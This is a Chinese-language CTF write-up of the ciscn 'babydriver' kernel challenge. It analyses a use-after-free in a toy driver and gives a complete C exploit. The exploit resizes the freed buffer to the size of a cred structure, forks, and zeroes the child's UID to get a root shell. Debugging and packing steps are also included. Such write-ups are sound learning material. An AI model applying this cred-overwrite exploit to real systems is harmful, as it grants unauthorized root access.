# ciscn_babydriver uaf, 修改自身的 cred

# 保护检查:

# qemu

dreamcat@ubuntu:~/Desktop/kernel/babydriver$ cat boot.sh 
#!/bin/bash
qemu-system-x86_64 -initrd fs.cpio -kernel bzImage -append 'console=ttyS0 root=/dev/ram oops=panic panic=1' -enable-kvm -monitor /dev/null -m 128M --nographic  -smp cores=1,threads=1 -cpu kvm64,+smep -s

没有开启地址随机化以及隔离保护

# 驱动文件

#!/bin/sh
mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs devtmpfs /dev
chown root:root flag
chmod 400 flag
exec 0</dev/console
exec 1>/dev/console
exec 2>/dev/console
insmod /lib/modules/4.4.72/babydriver.ko
chmod 777 /dev/babydev
echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
setsid cttyhack setuidgid 1000 sh
umount /proc
umount /sys
poweroff -d 0  -f

在这里我们看到他的驱动的位置是在 /lib/modules/4.4.72/babydriver.ko

dreamcat@ubuntu:~/Desktop/kernel/babydriver/lib/modules/4.4.72$ checksec babydriver.ko
[*] '/home/dreamcat/Desktop/kernel/babydriver/lib/modules/4.4.72/babydriver.ko'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x0)

# vmlinux

我们提取出来 vmlinux 后,extract-vmlinux bzImage > vmlinux

进行检查,发现保护什么也没有开。

dreamcat@ubuntu:~/Desktop/kernel/babydriver$ checksec vmlinux
[*] '/home/dreamcat/Desktop/kernel/babydriver/vmlinux'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0xffffffff81000000)
    RWX:      Has RWX segments

# 题目分析

这是一道堆题

# init

我们 open 设备的时候,会默认调用这个函数,这里初始化了一些参数

int __cdecl babydriver_init()
{
  __int64 v0; // rdx
  int v1; // edx
  __int64 v2; // rsi
  __int64 v3; // rdx
  int v4; // ebx
  class *v5; // rax
  __int64 v6; // rdx
  __int64 v7; // rax
  if ( (int)alloc_chrdev_region(&babydev_no, 0LL, 1LL, "babydev") >= 0 )
  {
    cdev_init(&cdev_0, &fops);
    v2 = babydev_no;
    cdev_0.owner = &_this_module;
    v4 = cdev_add(&cdev_0, babydev_no, 1LL);
    if ( v4 >= 0 )
    {
      v5 = (class *)_class_create(&_this_module, "babydev", &babydev_no);
      babydev_class = v5;
      if ( v5 )
      {
        v7 = device_create(v5, 0LL, babydev_no, 0LL, "babydev");
        v1 = 0;
        if ( v7 )
          return v1;
        printk(&unk_351, 0LL, 0LL);
        class_destroy(babydev_class);
      }
      else
      {
        printk(&unk_33B, "babydev", v6);
      }
      cdev_del(&cdev_0);
    }
    else
    {
      printk(&unk_327, v2, v3);
    }
    unregister_chrdev_region(babydev_no, 1LL);
    return v4;
  }
  printk(&unk_309, 0LL, v0);
  return 1;
}

# exit

同理,我们关闭设备的后会调用这个函数

void __cdecl babydriver_exit()
{
  device_destroy(babydev_class, babydev_no);
  class_destroy(babydev_class);
  cdev_del(&cdev_0);
  unregister_chrdev_region(babydev_no, 1LL);
}

# babyopen

int __fastcall babyopen(inode *inode, file *filp)
{
  __int64 v2; // rdx
  _fentry__(inode, filp);
  babydev_struct.device_buf = (char *)kmem_cache_alloc_trace(kmalloc_caches[6], 37748928LL, 64LL);
  babydev_struct.device_buf_len = 64LL;
  printk("device open\n", 37748928LL, v2);
  return 0;
}

申请了一个 buf 空间,大小为 0x40

# babyrelease

int __fastcall babyrelease(inode *inode, file *filp)
{
  __int64 v2; // rdx
  _fentry__(inode, filp);
  kfree(babydev_struct.device_buf);
  printk("device release\n", filp, v2);
  return 0;
}

# babyread

ssize_t __fastcall babyread(file *filp, char *buffer, size_t length, loff_t *offset)
{
  size_t v4; // rdx
  ssize_t result; // rax
  ssize_t v6; // rbx
  _fentry__(filp, buffer);
  if ( !babydev_struct.device_buf )
    return -1LL;
  result = -2LL;
  if ( babydev_struct.device_buf_len > v4 )
  {
    v6 = v4;
    copy_to_user(buffer);
    result = v6;
  }
  return result;
}

# babywrite

ssize_t __fastcall babywrite(file *filp, const char *buffer, size_t length, loff_t *offset)
{
  size_t v4; // rdx
  ssize_t result; // rax
  ssize_t v6; // rbx
  _fentry__(filp, buffer);
  if ( !babydev_struct.device_buf )
    return -1LL;
  result = -2LL;
  if ( babydev_struct.device_buf_len > v4 )
  {
    v6 = v4;
    copy_from_user();
    result = v6;
  }
  return result;
}

# babyioctl

__int64 __fastcall babyioctl(file *filp, unsigned int command, unsigned __int64 arg)
{
  size_t v3; // rdx
  size_t v4; // rbx
  __int64 v5; // rdx
  __int64 result; // rax
  _fentry__(filp, *(_QWORD *)&command);
  v4 = v3;
  if ( command == 65537 )
  {
    kfree(babydev_struct.device_buf);
    babydev_struct.device_buf = (char *)_kmalloc(v4, 37748928LL);
    babydev_struct.device_buf_len = v4;
    printk("alloc done\n", 37748928LL, v5);
    result = 0LL;
  }
  else
  {
    printk(&unk_2EB, v3, v3);
    result = -22LL;
  }
  return result;
}

babyioct,会释放原本的 buf,然后重新申请一个,但是不会对空间的数据进行初始化,导致数据的泄露。v4 是一个固定的大下,在 init 中初始化为我蛮传入的第三个参数。

# 漏洞利用

ioctl 存在一个条件竞争,使用同一个全局变量 buf,类似用户态下的 uaf。新的进程会覆盖这个变量,那么我们可以将它释放,然后重新申请出来作为新的东西,但是我们仍旧可对其进行编辑。新的进程会创建 cred, 所以就可以让他将这个空间申请出来,然后我们对其进行编辑。

# 完整的 exp

#include <sys/types.h>
#include <stdio.h>
#include <linux/userfaultfd.h>
#include <pthread.h>
#include <errno.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <poll.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
	
int main(int argc, char const **argv)
{
	
	int fd1 = open("dev/babydev",O_RDWR);
	int fd2 = open("dev/babydev",O_RDWR);
	char buf[28] = {0};
	//alloc a 0xa8 space to create a fake cred
	printf("ppid %d, pid %d\n",getppid(),getpid());
	ioctl(fd1,65537,0xa8);
	close(fd1);
	int fpid = fork();      		//create a new proc as the same as now
	printf("fpid is %d\n",fpid);
	printf("ppid %d, pid %d\n",getppid(),getpid());
	if(!fpid)
	{
		printf("ppid %d, pid %d\n",getppid(),getpid());
		puts("right");
		write(fd2,buf,28);
		if(getuid()==0)
		{
			puts("welcome!\n");
			system("/bin/sh");
			return 0;
		}
	}
	else if (fpid<0){
		puts("error");
		}
	else{
	puts("hello");
	wait(NULL);
		
	}
	close(fd2);
	return 0;
}

fork 会返回两个 id, 这也是 fork 的一个有意的东西,这里其实是一个类似递归的调用,当我们 fork 一个新的进程后,其申请出来的资源与我们的原本进程是几乎一样的,只有部分数据不一样。有一些师傅说,父进程与子进程的实行顺序是不一样的。但是我们预测大部分情况下使直接进入子进程,进入子进程后还会调用 fork,但是此时 fork 返回的是 0,也就是说不会再嵌套下去。

./exp
[    3.998984] device open
[    3.999759] device open
ppid 88, pid 90
[    4.000779] alloc done
[    4.001334] device release
fpid is 91
ppid 88, pid 90
hello
fpid is 0
ppid 90, pid 91
ppid 90, pid 91
right
welcome!
/ # id
uid=0(root) gid=0(root) groups=1000(ctf)
/ # [  101.861273] device release
/ $ [  104.213209] ACPI: Preparing to enter system sleep state S5

一些师傅说,父进程与子进程的执行顺序会受到不同系统决策的影响。

以我的设备为例。我们启动 exp 的进程,pid 为 90,他的父进程的 id 为 88,fork 出来的进程,返回的 id 为 91. 下面进入 fork 了吗?我们看到 pid,和 ppid 没有变,说明我们并没有进入到子进程,当我们的这部分结束后,有直接进入了 fork 里,子进程里又会调用 fork, 但是此时返回的是 0。

# 打包

mkdir File_system
 cp rootfs.cpio ./File_system/rootfs.cpio.gz
 cd File_system
 gunzip rootfs.cpio.gz
 cpio -idmv < rootfs.cpio

上面是对文件系统的解包处理,下面的 pack.sh 会将我们写好的 exp 写入,后面启动的时候,我们可以把 pack.sh 写入 boot.sh

pack.sh
cd File_system
gcc exploit.c -static -o exp
find . | cpio -o --format=newc > ../rootfs.cpio
cd ../

# 调试

我们再启动的脚本里面,对 quem_system_x86_64 启用了人 - s,也就是说我们打开了一个默认的端口。我们也可以指定端口。

提取 vmlinux,需要使用 extract-vmlinux 脚本提取出带符号的源码

./extract-vmlinux ./bzImage > vmlinux

启动 gdb

gdb ./vmlinux -q
导入符号表,这里需要查看模块加载在内存中的真实地址,用boot.sh脚本运行之后输入命令lsmod即可
/ $ lsmod
babydriver 16384 0 - Live 0xffffffffc0000000 (OE)

然后在 gdb 中输入

add-symbol-file **/lib/modules/4.4.72/babydriver.ko 0xffffffffc0000000

​ 两个参数分别为 babydriver.ko 在解包后的文件系统中的路径以及.text 段的地址。地址可以直接在 qemu 中查看:

在这里插入图片描述

添加远程执行参数,在 boot.sh 的 qemu 参数中添加

-gdb tcp::7777

gdb 连接程序,在 gdb 中执行命令

target remote 127.0.0.1:7777

# 相关的结构体

# cred

struct cred {
	atomic_t	usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
	atomic_t	subscribers;	/* number of processes subscribed */
	void		*put_addr;
	unsigned	magic;
#define CRED_MAGIC	0x43736564
#define CRED_MAGIC_DEAD	0x44656144
#endif
	kuid_t		uid;		/* real UID of the task */
	kgid_t		gid;		/* real GID of the task */
	kuid_t		suid;		/* saved UID of the task */
	kgid_t		sgid;		/* saved GID of the task */
	kuid_t		euid;		/* effective UID of the task */
	kgid_t		egid;		/* effective GID of the task */
	kuid_t		fsuid;		/* UID for VFS ops */
	kgid_t		fsgid;		/* GID for VFS ops */
	unsigned	securebits;	/* SUID-less security management */
	kernel_cap_t	cap_inheritable; /* caps our children can inherit */
	kernel_cap_t	cap_permitted;	/* caps we're permitted */
	kernel_cap_t	cap_effective;	/* caps we can actually use */
	kernel_cap_t	cap_bset;	/* capability bounding set */
	kernel_cap_t	cap_ambient;	/* Ambient capability set */
#ifdef CONFIG_KEYS
	unsigned char	jit_keyring;	/* default keyring to attach requested
					 * keys to */
	struct key __rcu *session_keyring; /* keyring inherited over fork */
	struct key	*process_keyring; /* keyring private to this process */
	struct key	*thread_keyring; /* keyring private to this thread */
	struct key	*request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
	void		*security;	/* subjective LSM security */
#endif
	struct user_struct *user;	/* real user ID subscription */
	struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
	struct group_info *group_info;	/* supplementary groups for euid/fsgid */
	struct rcu_head	rcu;		/* RCU deletion hook */
};
// 总大小 0xa8,一直到 gid 结束是 28 个字节

# 参考链接

https://blog.csdn.net/m0_38100569/article/details/100673103

https://www.z1r0.top/2021/10/29/kernel-pwn(二)基础知识 /# 实战

# 参考博客

https://www.z1r0.top/

https://arttnba3.cn/

https://ray-cp.github.io/category/ //ray 大佬写的很多知识的总结,很详尽